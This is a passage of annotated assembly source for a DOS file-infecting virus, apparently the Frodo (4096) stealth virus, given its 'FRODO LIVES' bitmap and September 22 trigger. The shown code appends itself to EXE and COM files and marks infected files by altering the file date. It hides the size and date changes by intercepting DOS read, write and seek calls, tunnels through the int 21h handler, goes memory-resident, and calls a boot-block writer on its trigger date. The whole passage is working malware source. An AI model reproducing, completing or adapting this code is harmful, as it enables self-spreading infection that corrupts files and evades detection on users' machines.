  785.                 add     cx,10h                  ; adjust for PSP
  786.                 add     dx,cx
  787.                 mov     es:[bx+14h],dx          ; alter the entry point CS
  788.                 mov     ax,word ptr ds:oldheader+14h
  789.                 mov     es:[bx+12h],ax
  790.                 mov     ax,word ptr ds:oldheader+0Eh ; alter stack
  791.                 add     ax,cx
  792.                 mov     es:[bx+10h],ax
  793.                 mov     ax,word ptr ds:oldheader+10h
  794.                 mov     es:[bx+0Eh],ax
  795. perform_the_execute:
  796.                 call    getcurrentPSP
  797.                 mov     ds,cs:currentPSP
  798.                 mov     ax,[bp+2]               ; restore length as held in
  799.                 mov     word ptr ds:oldheader+6,ax
  800.                 mov     ax,[bp+4]               ; the EXE header
  801.                 mov     word ptr ds:oldheader+8,ax
  802. exit_loadnoexecute:
  803.                 jmp     _popall_then_exitint21
  804.  
  805. getDOSversion:
  806.                 mov     byte ptr cs:hide_size,0
  807.                 mov     ah,2Ah                  ; Get date
  808.                 call    callint21
  809.                 cmp     dx,916h                 ; September 22?
  810.                 jb      exitDOSversion          ; leave if not
  811.                 call    writebootblock          ; this is broken
  812. exitDOSversion:
  813.                 jmp     exitotherint21
  814.  
  815. infect_file:
  816.                 call    replaceint13and24
  817.                 call    findnextparagraphboundary
  818.                 mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
  819.                 cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
  820.                 je      clearlyisanEXE              ; EXE header
  821.                 cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
  822.                 je      clearlyisanEXE              ; EXE header
  823.                 dec     byte ptr ds:EXEflag         ; if neither, assume is a
  824.                 jz      try_infect_com              ; COM file
  825. clearlyisanEXE:
  826.                 mov     ax,ds:lengthinpages     ; get file size in pages
  827.                 shl     cx,1                    ; and convert it to
  828.                 mul     cx                      ; bytes
  829.                 add     ax,200h                 ; add 512 bytes
  830.                 cmp     ax,si
  831.                 jb      go_exit_infect_file
  832.                 mov     ax,ds:minmemory         ; make sure min and max memory
  833.                 or      ax,ds:maxmemory         ; are not both zero
  834.                 jz      go_exit_infect_file
  835.                 mov     ax,ds:filesizelow       ; get filesize in dx:ax
  836.                 mov     dx,ds:filesizehigh
  837.                 mov     cx,200h                 ; convert to pages
  838.                 div     cx
  839.                 or      dx,dx                   ; filesize multiple of 512?
  840.                 jz      filesizemultiple512     ; then don't increment #
  841.                 inc     ax                      ; pages
  842. filesizemultiple512:
  843.                 mov     ds:lengthinpages,ax     ; put in new values for length
  844.                 mov     ds:lengthMOD512,dx      ; fields
  845.                 cmp     word ptr ds:initialIP,1 ; check if already infected
  846.                 je      exit_infect_file
  847.                 mov     word ptr ds:initialIP,1 ; set new entry point
  848.                 mov     ax,si                   ; calculate new entry point
  849.                 sub     ax,ds:headersize        ; segment
  850.                 mov     ds:initialcs,ax         ; put this in for cs
  851.                 add     word ptr ds:lengthinpages,8 ; 4K more
  852.                 mov     ds:initialSS,ax         ; put entry segment in for SS
  853.                 mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
  854.                 call    finish_infection
  855. go_exit_infect_file:
  856.                 jmp     short exit_infect_file
  857. try_infect_com:
  858.                 cmp     si,0F00h                ; make sure file is under
  859.                 jae     exit_infect_file        ; F00h paragraphs or else
  860.                                                 ; it will be too large once it
  861.                                                 ; is infected
  862.                 mov     ax,ds:readbuffer        ; first save first 6 bytes
  863.                 mov     word ptr ds:oldheader,ax
  864.                 add     dx,ax
  865.                 mov     ax,ds:readbuffer+2
  866.                 mov     word ptr ds:oldheader+2,ax
  867.                 add     dx,ax
  868.                 mov     ax,ds:readbuffer+4
  869.                 mov     word ptr ds:oldheader+4,ax
  870.                 add     dx,ax                   ; exit if checksum = 0
  871.                 jz      exit_infect_file        ; since then it is already
  872.                                                 ; infected
  873.                 mov     cl,0E9h                 ; encode jmp instruction
  874.                 mov     byte ptr ds:readbuffer,cl
  875.                 mov     ax,10h                  ; find file size
  876.                 mul     si
  877.                 add     ax,offset entervirus-3  ; calculate offset of jmp
  878.                 mov     word ptr ds:readbuffer+1,ax ; encode it
  879.                 mov     ax,ds:readbuffer        ; checksum it to 0
  880.                 add     ax,ds:readbuffer+2
  881.                 neg     ax
  882.                 mov     ds:readbuffer+4,ax
  883.                 call    finish_infection
  884. exit_infect_file:
  885.                 mov     ah,3Eh                  ; Close file
  886.                 call    callint21
  887.                 call    restoreint13and24
  888.                 retn
  889.  
  890.  
  891. findnextparagraphboundary:
  892.                 push    cs
  893.                 pop     ds
  894.                 mov     ax,5700h                ; Get file time/date
  895.                 call    callint21
  896.                 mov     ds:filetime,cx
  897.                 mov     ds:filedate,dx
  898.                 mov     ax,4200h                ; Go to beginning of file
  899.                 xor     cx,cx
  900.                 mov     dx,cx
  901.                 call    callint21
  902.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  903.                 mov     cl,1Ch
  904.                 mov     dx,offset readbuffer
  905.                 call    callint21
  906.                 mov     ax,4200h                ; Go to beginning of file
  907.                 xor     cx,cx
  908.                 mov     dx,cx
  909.                 call    callint21
  910.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  911.                 mov     cl,1Ch
  912.                 mov     dx,offset oldheader
  913.                 call    callint21
  914.                 mov     ax,4202h                ; Go to end of file
  915.                 xor     cx,cx
  916.                 mov     dx,cx
  917.                 call    callint21
  918.                 mov     ds:filesizelow,ax       ; save filesize
  919.                 mov     ds:filesizehigh,dx
  920.                 mov     di,ax
  921.                 add     ax,0Fh                  ; round to nearest paragraph
  922.                 adc     dx,0                    ; boundary
  923.                 and     ax,0FFF0h
  924.                 sub     di,ax                   ; di=# bytes to next paragraph
  925.                 mov     cx,10h                  ; normalize filesize
  926.                 div     cx                      ; to paragraphs
  927.                 mov     si,ax                   ; si = result
  928.                 retn
  929.  
  930.  
  931. finish_infection:
  932.                 mov     ax,4200h                ; Go to beginning of file
  933.                 xor     cx,cx
  934.                 mov     dx,cx
  935.                 call    callint21
  936.                 mov     ah,40h                  ; Write new header to file
  937.                 mov     cl,1Ch
  938.                 mov     dx,offset readbuffer
  939.                 call    callint21
  940.                 mov     ax,10h                  ; convert paragraph boundary
  941.                 mul     si                      ; to a byte value
  942.                 mov     cx,dx
  943.                 mov     dx,ax
  944.                 mov     ax,4200h                ; go to first paragraph
  945.                 call    callint21               ; boundary at end of file
  946.                 xor     dx,dx
  947.                 mov     cx,1000h
  948.                 add     cx,di
  949.                 mov     ah,40h                  ; Concatenate virus to file
  950.                 call    callint21
  951.                 mov     ax,5701h                ; Restore file time/date
  952.                 mov     cx,ds:filetime
  953.                 mov     dx,ds:filedate
  954.                 test    dh,80h                  ; check for infection bit
  955.                 jnz     highbitset
  956.                 add     dh,0C8h                 ; alter if not set yet
  957. highbitset:
  958.                 call    callint21
  959.                 cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
  960.                 jb      exit_finish_infection   ; do not hide the alteration
  961.                                                 ; in cluster count
  962.                 cmp     byte ptr ds:hideclustercountchange,0
  963.                 je      exit_finish_infection
  964.                 push    bx
  965.                 mov     dl,ds:filedrive
  966.                 mov     ah,32h                  ; Get drive parameter block
  967.                 call    callint21               ; for drive dl
  968.                 mov     ax,cs:numfreeclusters
  969.                 mov     [bx+1Eh],ax             ; alter free cluster count
  970.                 pop     bx
  971. exit_finish_infection:
  972.                 retn
  973.  
  974.  
  975. checkFCBokinfect:
  976.                 call    saveregs
  977.                 mov     di,dx
  978.                 add     di,0Dh                  ; skip to extension
  979.                 push    ds
  980.                 pop     es
  981.                 jmp     short performchecksum   ; and check checksum for valid
  982.                                                 ; checksum
  983.  
  984. checkdsdxokinfect:
  985.                 call    saveregs
  986.                 push    ds
  987.                 pop     es
  988.                 mov     di,dx
  989.                 mov     cx,50h                  ; max filespec length
  990.                 xor     ax,ax
  991.                 mov     bl,0                    ; default drive
  992.                 cmp     byte ptr [di+1],':'     ; Is there a drive spec?
  993.                 jne     ondefaultdrive          ; nope, skip it
  994.                 mov     bl,[di]                 ; yup, get drive
  995.                 and     bl,1Fh                  ; and convert to number
  996. ondefaultdrive:
  997.                 mov     cs:filedrive,bl
  998.                 repne   scasb                   ; find terminating 0 byte
  999. performchecksum:
  1000.                 mov     ax,[di-3]
  1001.                 and     ax,0DFDFh               ; convert to uppercase
  1002.                 add     ah,al
  1003.                 mov     al,[di-4]
  1004.                 and     al,0DFh                 ; convert to uppercase
  1005.                 add     al,ah
  1006.                 mov     byte ptr cs:EXEflag,0   ; assume COM file
  1007.                 cmp     al,0DFh                 ; COM checksum?
  1008.                 je      COMchecksum
  1009.                 inc     byte ptr cs:EXEflag     ; assume EXE file
  1010.                 cmp     al,0E2h                 ; EXE checksum?
  1011.                 jne     otherchecksum
  1012. COMchecksum:
  1013.                 call    restoreregs
  1014.                 clc                             ; mark no error
  1015.                 retn
  1016. otherchecksum:
  1017.                 call    restoreregs
  1018.                 stc                             ; mark error
  1019.                 retn
  1020.  
  1021.  
  1022. getcurrentPSP:
  1023.                 push    bx
  1024.                 mov     ah,51h                  ; Get current PSP segment
  1025.                 call    callint21
  1026.                 mov     cs:currentPSP,bx        ; store it
  1027.                 pop     bx
  1028.                 retn
  1029.  
  1030.  
  1031. setup_infection:
  1032.                 call    replaceint13and24
  1033.                 push    dx
  1034.                 mov     dl,cs:filedrive
  1035.                 mov     ah,36h                  ; Get disk free space
  1036.                 call    callint21
  1037.                 mul     cx                      ; ax = bytes per cluster
  1038.                 mul     bx                      ; dx:ax = bytes free space
  1039.                 mov     bx,dx
  1040.                 pop     dx
  1041.                 or      bx,bx                   ; less than 65536 bytes free?
  1042.                 jnz     enough_free_space       ; hopefully not
  1043.                 cmp     ax,4000h                ; exit if less than 16384
  1044.                 jb      exit_setup_infection    ; bytes free
  1045. enough_free_space:
  1046.                 mov     ax,4300h                ; Get file attributes
  1047.                 call    callint21
  1048.                 jc      exit_setup_infection    ; exit on error
  1049.                 mov     di,cx                   ; di = attributes
  1050.                 xor     cx,cx
  1051.                 mov     ax,4301h                ; Clear file attributes
  1052.                 call    callint21
  1053.                 cmp     byte ptr cs:errorflag,0 ; check for errors
  1054.                 jne     exit_setup_infection
  1055.                 mov     ax,3D02h                ; Open file read/write
  1056.                 call    callint21
  1057.                 jc      exit_setup_infection    ; exit on error
  1058.                 mov     bx,ax                   ; move handle to bx
  1059.                                                 ; xchg bx,ax is superior
  1060.                 mov     cx,di
  1061.                 mov     ax,4301h                ; Restore file attributes
  1062.                 call    callint21
  1063.                 push    bx
  1064.                 mov     dl,cs:filedrive         ; Get file's drive number
  1065.                 mov     ah,32h                  ; Get drive parameter block
  1066.                 call    callint21               ; for disk dl
  1067.                 mov     ax,[bx+1Eh]             ; Get free cluster count
  1068.                 mov     cs:numfreeclusters,ax   ; and save it
  1069.                 pop     bx                      ; return handle
  1070.                 call    restoreint13and24
  1071.                 retn
  1072. exit_setup_infection:
  1073.                 xor     bx,bx
  1074.                 dec     bx                      ; return bx=-1 on error
  1075.                 call    restoreint13and24
  1076.                 retn
  1077.  
  1078.  
  1079. checkforinfection:
  1080.                 push    cx
  1081.                 push    dx
  1082.                 push    ax
  1083.                 mov     ax,4400h                ; Get device information
  1084.                 call    callint21               ; (set hide_size = 2)
  1085.                 xor     dl,80h
  1086.                 test    dl,80h                  ; Character device?  If so,
  1087.                 jz      exit_checkforinfection  ; exit; cannot be infected
  1088.                 mov     ax,5700h                ; Otherwise get time/date
  1089.                 call    callint21
  1090.                 test    dh,80h                  ; Check year bit for infection
  1091. exit_checkforinfection:
  1092.                 pop     ax
  1093.                 pop     dx
  1094.                 pop     cx
  1095.                 retn
  1096.  
  1097. obtainfilesize:
  1098.                 call    saveregs
  1099.                 mov     ax,4201h                ; Get current file position
  1100.                 xor     cx,cx
  1101.                 xor     dx,dx
  1102.                 call    callint21
  1103.                 mov     cs:curfileposlow,ax
  1104.                 mov     cs:curfileposhigh,dx
  1105.                 mov     ax,4202h                ; Go to end of file
  1106.                 xor     cx,cx
  1107.                 xor     dx,dx
  1108.                 call    callint21
  1109.                 mov     cs:filesizelow,ax
  1110.                 mov     cs:filesizehigh,dx
  1111.                 mov     ax,4200h                ; Return to file position
  1112.                 mov     dx,cs:curfileposlow
  1113.                 mov     cx,cs:curfileposhigh
  1114.                 call    callint21
  1115.                 call    restoreregs
  1116.                 retn
  1117.  
  1118. getsetfiletimedate:
  1119.                 or      al,al                   ; Get time/date?
  1120.                 jnz     checkifsettimedate      ; if not, see if Set time/date
  1121.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1122.                 call    _popall
  1123.                 call    callint21
  1124.                 jc      gettimedate_error       ; exit on error
  1125.                 test    dh,80h                  ; check year bit if infected
  1126.                 jz      gettimedate_notinfected
  1127.                 sub     dh,0C8h                 ; if so, hide change
  1128. gettimedate_notinfected:
  1129.                 jmp     exitint21
  1130. gettimedate_error:
  1131.                 or      word ptr cs:int21flags,1; turn on trap flag
  1132.                 jmp     exitint21
  1133. checkifsettimedate:
  1134.                 cmp     al,1                    ; Set time/date?
  1135.                 jne     exit_filetimedate_pointer
  1136.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1137.                 test    dh,80h                  ; Infection bit set?
  1138.                 jz      set_yearbitset
  1139.                 sub     dh,0C8h                 ; clear infection bit
  1140. set_yearbitset:
  1141.                 call    checkforinfection
  1142.                 jz      set_datetime_nofinagle
  1143.                 add     dh,0C8h                 ; set infection flag
  1144. set_datetime_nofinagle:
  1145.                 call    callint21
  1146.                 mov     [bp-4],ax
  1147.                 adc     word ptr cs:int21flags,0; turn on/off trap flag
  1148.                 jmp     _popall_then_exitint21  ; depending on result
  1149.  
  1150. handlemovefilepointer:
  1151.                 cmp     al,2
  1152.                 jne     exit_filetimedate_pointer
  1153.                 call    checkforinfection
  1154.                 jz      exit_filetimedate_pointer
  1155.                 sub     word ptr [bp-0Ah],1000h ; hide file size
  1156.                 sbb     word ptr [bp-8],0
  1157. exit_filetimedate_pointer:
  1158.                 jmp     exitotherint21
  1159.  
  1160. handleread:
  1161.                 and     byte ptr cs:int21flags,0FEh ; clear trap flag
  1162.                 call    checkforinfection           ; exit if it is not
  1163.                 jz      exit_filetimedate_pointer   ; infected -- no need
  1164.                                                     ; to do stealthy stuff
  1165.                 mov     cs:savelength,cx
  1166.                 mov     cs:savebuffer,dx
  1167.                 mov     word ptr cs:return_code,0
  1168.                 call    obtainfilesize
  1169.                 mov     ax,cs:filesizelow       ; store the file size
  1170.                 mov     dx,cs:filesizehigh
  1171.                 sub     ax,1000h                ; get uninfected file size
  1172.                 sbb     dx,0
  1173.                 sub     ax,cs:curfileposlow     ; check if currently in
  1174.                 sbb     dx,cs:curfileposhigh    ; virus code
  1175.                 jns     not_in_virus_body       ; continue if not
  1176.                 mov     word ptr [bp-4],0       ; set return code = 0
  1177.                 jmp     handleopenclose_exit
  1178. not_in_virus_body:
  1179.                 jnz     not_reading_header
  1180.                 cmp     ax,cx                   ; reading from header?
  1181.                 ja      not_reading_header
  1182.                 mov     cs:savelength,ax        ; # bytes into header
  1183. not_reading_header:
  1184.                 mov     dx,cs:curfileposlow
  1185.                 mov     cx,cs:curfileposhigh
  1186.                 or      cx,cx                   ; if reading > 64K into file,
  1187.                 jnz     finish_reading          ; then no problems
  1188.                 cmp     dx,1Ch                  ; if reading from header, then
  1189.                 jbe     reading_from_header     ; do stealthy stuff
  1190. finish_reading:
  1191.                 mov     dx,cs:savebuffer
  1192.                 mov     cx,cs:savelength
  1193.                 mov     ah,3Fh                  ; read file
  1194.                 call    callint21
  1195.                 add     ax,cs:return_code       ; ax = bytes read
  1196.                 mov     [bp-4],ax               ; set return code properly
  1197.                 jmp     _popall_then_exitint21
  1198. reading_from_header:
  1199.                 mov     si,dx
  1200.                 mov     di,dx
  1201.                 add     di,cs:savelength
  1202.                 cmp     di,1Ch                  ; reading all of header?
  1203.                 jb      read_part_of_header     ; nope, calculate how much
  1204.                 xor     di,di
  1205.                 jmp     short do_read_from_header
  1206. read_part_of_header:
  1207.                 sub     di,1Ch
  1208.                 neg     di
  1209. do_read_from_header:
  1210.                 mov     ax,dx
  1211.                 mov     cx,cs:filesizehigh      ; calculate location in
  1212.                 mov     dx,cs:filesizelow       ; the file of the virus
  1213.                 add     dx,0Fh                  ; storage area for the
  1214.                 adc     cx,0                    ; original 1Ch bytes of
  1215.                 and     dx,0FFF0h               ; the file
  1216.                 sub     dx,0FFCh
  1217.                 sbb     cx,0
  1218.                 add     dx,ax
  1219.                 adc     cx,0
  1220.                 mov     ax,4200h                ; go to that location
  1221.                 call    callint21
  1222.                 mov     cx,1Ch
  1223.                 sub     cx,di
  1224.                 sub     cx,si
  1225.                 mov     ah,3Fh                  ; read the original header
  1226.                 mov     dx,cs:savebuffer
  1227.                 call    callint21
  1228.                 add     cs:savebuffer,ax
  1229.                 sub     cs:savelength,ax
  1230.                 add     cs:return_code,ax
  1231.                 xor     cx,cx                   ; go past the virus's header
  1232.                 mov     dx,1Ch
  1233.                 mov     ax,4200h
  1234.                 call    callint21
  1235.                 jmp     finish_reading          ; and continue the reading
  1236.  
  1237. handlewrite:
  1238.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  1239.                 call    checkforinfection
  1240.                 jnz     continue_handlewrite
  1241.                 jmp     exit_filetimedate_pointer
  1242. continue_handlewrite:
  1243.                 mov     cs:savelength,cx
  1244.                 mov     cs:savebuffer,dx
  1245.                 mov     word ptr cs:return_code,0
  1246.                 call    obtainfilesize
  1247.                 mov     ax,cs:filesizelow
  1248.                 mov     dx,cs:filesizehigh
  1249.                 sub     ax,1000h                ; calculate original file
  1250.                 sbb     dx,0                    ; size
  1251.                 sub     ax,cs:curfileposlow     ; writing from inside the
  1252.                 sbb     dx,cs:curfileposhigh    ; virus?
  1253.                 js      finish_write            ; if not, we can continue
  1254.                 jmp     short write_inside_virus; otherwise, fixup some stuff
  1255. finish_write:
  1256.                 call    replaceint13and24
  1257.                 push    cs
  1258.                 pop     ds
  1259.                 mov     dx,ds:filesizelow       ; calculate location in file
  1260.                 mov     cx,ds:filesizehigh      ; of the virus storage of the
  1261.                 add     dx,0Fh                  ; original 1Ch bytes of the
  1262.                 adc     cx,0                    ; file
  1263.                 and     dx,0FFF0h
  1264.                 sub     dx,0FFCh
  1265.                 sbb     cx,0
  1266.                 mov     ax,4200h
  1267.                 call    callint21
  1268.                 mov     dx,offset oldheader
  1269.                 mov     cx,1Ch
  1270.                 mov     ah,3Fh                  ; read original header
  1271.                 call    callint21
  1272.                 mov     ax,4200h                ; go to beginning of file
  1273.                 xor     cx,cx
  1274.                 mov     dx,cx
  1275.                 call    callint21
  1276.                 mov     dx,offset oldheader
  1277.                 mov     cx,1Ch
  1278.                 mov     ah,40h                  ; write original header to
  1279.                 call    callint21               ; the file
  1280.                 mov     dx,0F000h               ; go back 4096 bytes
  1281.                 mov     cx,0FFFFh               ; from the end of the
  1282.                 mov     ax,4202h                ; file and
  1283.                 call    callint21
  1284.                 mov     ah,40h                  ; truncate the file
  1285.                 xor     cx,cx                   ; at that position
  1286.                 call    callint21
  1287.                 mov     dx,ds:curfileposlow     ; Go to current file position
  1288.                 mov     cx,ds:curfileposhigh
  1289.                 mov     ax,4200h
  1290.                 call    callint21
  1291.                 mov     ax,5700h                ; Get file time/date
  1292.                 call    callint21
  1293.                 test    dh,80h
  1294.                 jz      high_bit_aint_set
  1295.                 sub     dh,0C8h                 ; restore file date
  1296.                 mov     ax,5701h                ; put it onto the disk
  1297.                 call    callint21
  1298. high_bit_aint_set:
  1299.                 call    restoreint13and24
  1300.                 jmp     exitotherint21
  1301. write_inside_virus:
  1302.                 jnz     write_inside_header     ; write from start of file?
  1303.                 cmp     ax,cx
  1304.                 ja      write_inside_header     ; write from inside header?
  1305.                 jmp     finish_write
  1306.  
  1307. write_inside_header:
  1308.                 mov     dx,cs:curfileposlow
  1309.                 mov     cx,cs:curfileposhigh
  1310.                 or      cx,cx                   ; Reading over 64K?
  1311.                 jnz     writemorethan1Chbytes
  1312.                 cmp     dx,1Ch                  ; Reading over 1Ch bytes?
  1313.                 ja      writemorethan1Chbytes
  1314.                 jmp     finish_write
  1315. writemorethan1Chbytes:
  1316.                 call    _popall
  1317.                 call    callint21               ; chain to int 21h
  1318.                                                 ; (allow write to take place)
  1319.                 call    _pushall
  1320.                 mov     ax,5700h                ; Get file time/date
  1321.                 call    callint21
  1322.                 test    dh,80h
  1323.                 jnz     _popall_then_exitint21_
  1324.                 add     dh,0C8h
  1325.                 mov     ax,5701h                ; restore file date
  1326.                 call    callint21
  1327. _popall_then_exitint21_:
  1328.                 jmp     _popall_then_exitint21
  1329.  
  1330.                 jmp     exitotherint21
  1331.  
  1332. int13:
  1333.                 pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
  1334.                 pop     word ptr cs:int13tempCSIP+2 ; the stack
  1335.                 pop     word ptr cs:int13flags
  1336.                 and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
  1337.                 cmp     byte ptr cs:errorflag,0 ; any errors yet?
  1338.                 jne     exitint13error          ; yes, already an error
  1339.                 push    word ptr cs:int13flags
  1340.                 call    dword ptr cs:origints
  1341.                 jnc     exitint13
  1342.                 inc     byte ptr cs:errorflag   ; mark error
  1343. exitint13error:
  1344.                 stc                             ; mark error
  1345. exitint13:
  1346.                 jmp     dword ptr cs:int13tempCSIP ; return to caller
  1347.  
  1348. int24:
  1349.                 xor     al,al                   ; ignore error
  1350.                 mov     byte ptr cs:errorflag,1 ; mark error
  1351.                 iret
  1352.  
  1353. replaceint13and24:
  1354.                 mov     byte ptr cs:errorflag,0 ; clear errors
  1355.                 call    saveregs
  1356.                 push    cs
  1357.                 pop     ds
  1358.                 mov     al,13h                  ; save int 13 handler
  1359.                 call    getint
  1360.                 mov     word ptr ds:origints,bx
  1361.                 mov     word ptr ds:origints+2,es
  1362.                 mov     word ptr ds:oldint13,bx
  1363.                 mov     word ptr ds:oldint13+2,es
  1364.                 mov     dl,0
  1365.                 mov     al,0Dh                  ; fixed disk interrupt
  1366.                 call    getint
  1367.                 mov     ax,es
  1368.                 cmp     ax,0C000h               ; is there a hard disk?
  1369.                 jae     harddiskpresent         ; C000+ is in BIOS
  1370.                 mov     dl,2
  1371. harddiskpresent:
  1372.                 mov     al,0Eh                  ; floppy disk interrupt
  1373.                 call    getint
  1374.                 mov     ax,es
  1375.                 cmp     ax,0C000h               ; check if floppy
  1376.                 jae     floppypresent
  1377.                 mov     dl,2
  1378. floppypresent:
  1379.                 mov     ds:tracemode,dl
  1380.                 call    replaceint1
  1381.                 mov     ds:savess,ss            ; save stack
  1382.                 mov     ds:savesp,sp
  1383.                 push    cs                      ; save these on stack for
  1384.                 mov     ax,offset setvirusints  ; return to setvirusints
  1385.                 push    ax
  1386.                 mov     ax,70h
  1387.                 mov     es,ax
  1388.                 mov     cx,0FFFFh
  1389.                 mov     al,0CBh                 ; retf
  1390.                 xor     di,di
  1391.                 repne   scasb                   ;scan es:di for retf statement
  1392.                 dec     di                      ; es:di->retf statement
  1393.                 pushf
  1394.                 push    es                      ; set up stack for iret to
  1395.                 push    di                      ; the retf statement which
  1396.                                                 ; will cause transfer of
  1397.                                                 ; control to setvirusints
  1398.                 pushf
  1399.                 pop     ax
  1400.                 or      ah,1                    ; turn on the trap flag
  1401.                 push    ax
  1402.                 in      al,21h                  ; save IMR in temporary
  1403.                 mov     ds:saveIMR,al           ; buffer and then
  1404.                 mov     al,0FFh                 ; disable all the
  1405.                 out     21h,al                  ; interrupts
  1406.                 popf
  1407.                 xor     ax,ax                   ; reset disk
  1408.                 jmp     dword ptr ds:origints   ; (int 13h call)
  1409.                                                 ; then transfer control to
  1410. setvirusints:                                   ; setvirusints
  1411.                 lds     dx,dword ptr ds:oldint1
  1412.                 mov     al,1                    ; restore old int 1 handler
  1413.                 call    setvect
  1414.                 push    cs
  1415.                 pop     ds
  1416.                 mov     dx,offset int13         ; replace old int 13h handler
  1417.                 mov     al,13h                  ; with virus's
  1418.                 call    setvect
  1419.                 mov     al,24h                  ; Get old critical error
  1420.                 call    getint                  ; handler and save its
  1421.                 mov     word ptr ds:oldint24,bx ; location
  1422.                 mov     word ptr ds:oldint24+2,es
  1423.                 mov     dx,offset int24
  1424.                 mov     al,24h                  ; Replace int 24 handler
  1425.                 call    setvect                 ; with virus's handler
  1426.                 call    restoreregs
  1427.                 retn
  1428.  
  1429.  
  1430. restoreint13and24:
  1431.                 call    saveregs
  1432.                 lds     dx,dword ptr cs:oldint13
  1433.                 mov     al,13h
  1434.                 call    setvect
  1435.                 lds     dx,dword ptr cs:oldint24
  1436.                 mov     al,24h
  1437.                 call    setvect
  1438.                 call    restoreregs
  1439.                 retn
  1440.  
  1441.  
  1442. disableBREAK:
  1443.                 mov     ax,3300h                ; Get current BREAK setting
  1444.                 call    callint21
  1445.                 mov     cs:BREAKsave,dl
  1446.                 mov     ax,3301h                ; Turn BREAK off
  1447.                 xor     dl,dl
  1448.                 call    callint21
  1449.                 retn
  1450.  
  1451.  
  1452. restoreBREAK:
  1453.                 mov     dl,cs:BREAKsave
  1454.                 mov     ax,3301h                ; restore BREAK setting
  1455.                 call    callint21
  1456.                 retn
  1457.  
  1458.  
  1459. _pushall:
  1460.                 pop     word ptr cs:pushpopalltempstore
  1461.                 pushf
  1462.                 push    ax
  1463.                 push    bx
  1464.                 push    cx
  1465.                 push    dx
  1466.                 push    si
  1467.                 push    di
  1468.                 push    ds
  1469.                 push    es
  1470.                 jmp     word ptr cs:pushpopalltempstore
  1471.  
  1472. swapvirint21:
  1473.                 les     di,dword ptr cs:oldint21; delve into original int
  1474.                 mov     si,offset jmpfarptr     ; handler and swap the first
  1475.                 push    cs                      ; 5 bytes.  This toggles it
  1476.                 pop     ds                      ; between a jmp to the virus
  1477.                 cld                             ; code and the original 5
  1478.                 mov     cx,5                    ; bytes of the int handler
  1479. swapvirint21loop:                               ; this is a tunnelling method
  1480.                 lodsb                           ; if I ever saw one
  1481.                 xchg    al,es:[di]              ; puts the bytes in DOS's
  1482.                 mov     [si-1],al               ; int 21h handler
  1483.                 inc     di
  1484.                 loop    swapvirint21loop
  1485.  
  1486.                 retn
  1487.  
  1488.  
  1489. _popall:
  1490.                 pop     word ptr cs:pushpopalltempstore
  1491.                 pop     es
  1492.                 pop     ds
  1493.                 pop     di
  1494.                 pop     si
  1495.                 pop     dx
  1496.                 pop     cx
  1497.                 pop     bx
  1498.                 pop     ax
  1499.                 popf
  1500.                 jmp     word ptr cs:pushpopalltempstore
  1501.  
  1502. restoreregs:
  1503.                 mov     word ptr cs:storecall,offset _popall
  1504.                 jmp     short do_saverestoreregs
  1505.  
  1506. saveregs:
  1507.                 mov     word ptr cs:storecall,offset _pushall
  1508. do_saverestoreregs:
  1509.                 mov     cs:storess,ss           ; save stack
  1510.                 mov     cs:storesp,sp
  1511.                 push    cs
  1512.                 pop     ss
  1513.                 mov     sp,cs:stackptr          ; set new stack
  1514.                 call    word ptr cs:storecall
  1515.                 mov     cs:stackptr,sp          ; update internal stack ptr
  1516.                 mov     ss,cs:storess           ; and restore stack to
  1517.                 mov     sp,cs:storesp           ; caller program's stack
  1518.                 retn
  1519.  
  1520.  
  1521. replaceint1:
  1522.                 mov     al,1                    ; get the old interrupt
  1523.                 call    getint                  ; 1 handler and save it
  1524.                 mov     word ptr cs:oldint1,bx  ; for later restoration
  1525.                 mov     word ptr cs:oldint1+2,es
  1526.                 push    cs
  1527.                 pop     ds
  1528.                 mov     dx,offset int1          ; set int 1 handler to
  1529.                 call    setvect                 ; the virus int handler
  1530.                 retn
  1531.  
  1532. allocatememory:
  1533.                 call    allocate_memory
  1534.                 jmp     exitotherint21
  1535.  
  1536. allocate_memory:
  1537.                 cmp     byte ptr cs:checkres,0  ; installed check
  1538.                 je      exitallocate_memory     ; exit if installed
  1539.                 cmp     bx,0FFFFh               ; finding total memory?
  1540.                 jne     exitallocate_memory     ; (virus trying to install?)
  1541.                 mov     bx,160h                 ; allocate memory to virus
  1542.                 call    callint21
  1543.                 jc      exitallocate_memory     ; exit on error
  1544.                 mov     dx,cs
  1545.                 cmp     ax,dx
  1546.                 jb      continue_allocate_memory
  1547.                 mov     es,ax
  1548.                 mov     ah,49h                  ; Free memory
  1549.                 call    callint21
  1550.                 jmp     short exitallocate_memory
  1551. continue_allocate_memory:
  1552.                 dec     dx                      ; get segment of MCB
  1553.                 mov     ds,dx
  1554.                 mov     word ptr ds:[1],0       ; mark unused MCB
  1555.                 inc     dx                      ; go to memory area
  1556.                 mov     ds,dx
  1557.                 mov     es,ax
  1558.                 push    ax
  1559.                 mov     word ptr cs:int21store+2,ax ; fixup segment
  1560.                 xor     si,si
  1561.                 mov     di,si
  1562.                 mov     cx,0B00h
  1563.                 rep     movsw                   ; copy virus up there
  1564.                 dec     ax                      ; go to MCB
  1565.                 mov     es,ax
  1566.                 mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
  1567.                 mov     es:[1],ax               ; make vir ID = DOS PSP ID
  1568.                 mov     ax,offset exitallocate_memory
  1569.                 push    ax
  1570.                 retf
  1571.  
  1572. exitallocate_memory:
  1573.                 retn
  1574.  
  1575. get_device_info:
  1576.                 mov     byte ptr cs:hide_size,2
  1577.                 jmp     exitotherint21
  1578.  
  1579. callint21: ; call original int 21h handler (tunnelled)
  1580.                 pushf
  1581.                 call    dword ptr cs:oldint21
  1582.                 retn
  1583.  
  1584. bootblock:
  1585.                 cli
  1586.                 xor     ax,ax                   ; set new stack just below
  1587.                 mov     ss,ax                   ; start of load area for
  1588.                 mov     sp,7C00h                ; boot block
  1589.                 jmp     short enter_bootblock
  1590. borderchars     db      '███ '
  1591.  
  1592. FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
